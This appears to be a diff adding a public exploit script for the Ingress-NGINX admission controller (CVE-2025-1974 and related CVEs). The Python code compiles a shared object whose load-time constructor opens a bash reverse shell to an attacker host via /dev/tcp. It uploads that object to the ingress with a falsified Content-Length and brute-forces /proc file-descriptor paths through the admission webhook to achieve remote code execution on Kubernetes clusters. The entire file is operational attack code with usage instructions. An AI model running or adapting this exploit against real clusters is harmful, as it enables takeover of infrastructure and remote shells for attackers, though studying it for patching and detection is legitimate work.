|
| 1 | +# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE |
| 2 | +# Date: 2025-10-07 |
| 3 | +# Exploit Author: Beatriz Fresno Naumova |
| 4 | +# Vendor Homepage: https://kubernetes.io |
| 5 | +# Software Link: https://github.com/kubernetes/ingress-nginx |
| 6 | +# Version: Affects v1.10.0 to v1.11.1 (potentially others) |
| 7 | +# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster |
| 8 | +# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974 |
| 9 | + |
| 10 | +import os |
| 11 | +import sys |
| 12 | +import socket |
| 13 | +import requests |
| 14 | +import threading |
| 15 | +from urllib.parse import urlparse |
| 16 | +from concurrent.futures import ThreadPoolExecutor |
| 17 | +import urllib3 |
| 18 | + |
| 19 | +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) |
| 20 | + |
| 21 | +# --- Embedded malicious shared object template --- |
| 22 | +MALICIOUS_C_TEMPLATE = """ |
| 23 | +#include <stdlib.h> |
| 24 | + |
| 25 | +__attribute__((constructor)) |
| 26 | +void run_on_load() { |
| 27 | + system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'"); |
| 28 | +} |
| 29 | + |
| 30 | +int bind(void *e, const char *id) { |
| 31 | + return 1; |
| 32 | +} |
| 33 | + |
| 34 | +void ENGINE_load_evil() {} |
| 35 | + |
| 36 | +int bind_engine() { |
| 37 | + return 1; |
| 38 | +} |
| 39 | +""" |
| 40 | + |
| 41 | +def compile_shared_library(host, port, output_file="evil_engine.so"): |
| 42 | + c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port)) |
| 43 | + |
| 44 | + with open("evil_engine.c", "w") as f: |
| 45 | + f.write(c_code) |
| 46 | + |
| 47 | + print("[*] Compiling malicious shared object...") |
| 48 | + result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto") |
| 49 | + |
| 50 | + if result == 0: |
| 51 | + print("[+] Shared object compiled successfully.") |
| 52 | + return True |
| 53 | + else: |
| 54 | + print("[!] Compilation failed. Is gcc installed?") |
| 55 | + return False |
| 56 | + |
| 57 | + |
| 58 | +def send_brute_request(admission_url, json_template, proc, fd): |
| 59 | + print(f"[*] Trying /proc/{proc}/fd/{fd}") |
| 60 | + path = f"proc/{proc}/fd/{fd}" |
| 61 | + payload = json_template.replace("REPLACE", path) |
| 62 | + |
| 63 | + headers = {"Content-Type": "application/json"} |
| 64 | + url = admission_url.rstrip("/") + "/admission" |
| 65 | + |
| 66 | + try: |
| 67 | + response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5) |
| 68 | + print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}") |
| 69 | + except Exception as e: |
| 70 | + print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}") |
| 71 | + |
| 72 | + |
| 73 | +def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5): |
| 74 | + try: |
| 75 | + with open(json_file, "r") as f: |
| 76 | + json_data = f.read() |
| 77 | + except FileNotFoundError: |
| 78 | + print(f"[!] Error: {json_file} not found.") |
| 79 | + return |
| 80 | + |
| 81 | + print("[*] Starting brute-force against the admission webhook...") |
| 82 | + with ThreadPoolExecutor(max_workers=max_workers) as executor: |
| 83 | + for proc in range(1, max_proc): |
| 84 | + for fd in range(3, max_fd): |
| 85 | + executor.submit(send_brute_request, admission_url, json_data, proc, fd) |
| 86 | + |
| 87 | + |
| 88 | +def upload_shared_library(ingress_url, shared_object="evil_engine.so"): |
| 89 | + try: |
| 90 | + with open(shared_object, "rb") as f: |
| 91 | + evil_payload = f.read() |
| 92 | + except FileNotFoundError: |
| 93 | + print(f"[!] Error: {shared_object} not found.") |
| 94 | + return |
| 95 | + |
| 96 | + parsed = urlparse(ingress_url) |
| 97 | + host = parsed.hostname |
| 98 | + port = parsed.port or 80 |
| 99 | + path = parsed.path or "/" |
| 100 | + |
| 101 | + try: |
| 102 | + sock = socket.create_connection((host, port)) |
| 103 | + except Exception as e: |
| 104 | + print(f"[!] Failed to connect to {host}:{port}: {e}") |
| 105 | + return |
| 106 | + |
| 107 | + fake_length = len(evil_payload) + 10 |
| 108 | + headers = ( |
| 109 | + f"POST {path} HTTP/1.1\r\n" |
| 110 | + f"Host: {host}\r\n" |
| 111 | + f"User-Agent: qmx-ingress-exploiter\r\n" |
| 112 | + f"Content-Type: application/octet-stream\r\n" |
| 113 | + f"Content-Length: {fake_length}\r\n" |
| 114 | + f"Connection: keep-alive\r\n\r\n" |
| 115 | + ).encode("iso-8859-1") |
| 116 | + |
| 117 | + print("[*] Uploading malicious shared object to ingress...") |
| 118 | + sock.sendall(headers + evil_payload) |
| 119 | + |
| 120 | + response = b"" |
| 121 | + while True: |
| 122 | + chunk = sock.recv(4096) |
| 123 | + if not chunk: |
| 124 | + break |
| 125 | + response += chunk |
| 126 | + |
| 127 | + print("[*] Server response:\n") |
| 128 | + print(response.decode(errors="ignore")) |
| 129 | + sock.close() |
| 130 | + |
| 131 | + |
| 132 | +def main(): |
| 133 | + if len(sys.argv) != 4: |
| 134 | + print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>") |
| 135 | + sys.exit(1) |
| 136 | + |
| 137 | + ingress_url = sys.argv[1] |
| 138 | + admission_url = sys.argv[2] |
| 139 | + rev_host_port = sys.argv[3] |
| 140 | + |
| 141 | + if ':' not in rev_host_port: |
| 142 | + print("[!] Invalid format for rev_host:port.") |
| 143 | + sys.exit(1) |
| 144 | + |
| 145 | + host, port = rev_host_port.split(":") |
| 146 | + |
| 147 | + if not compile_shared_library(host, port): |
| 148 | + sys.exit(1) |
| 149 | + |
| 150 | + # Send the malicious shared object and keep the connection open |
| 151 | + upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,)) |
| 152 | + upload_thread.start() |
| 153 | + |
| 154 | + # Simultaneously brute-force the admission webhook for valid file descriptors |
| 155 | + brute_force_admission(admission_url) |
| 156 | + |
| 157 | + |
| 158 | +if __name__ == "__main__": |
| 159 | + main() |
0 commit comments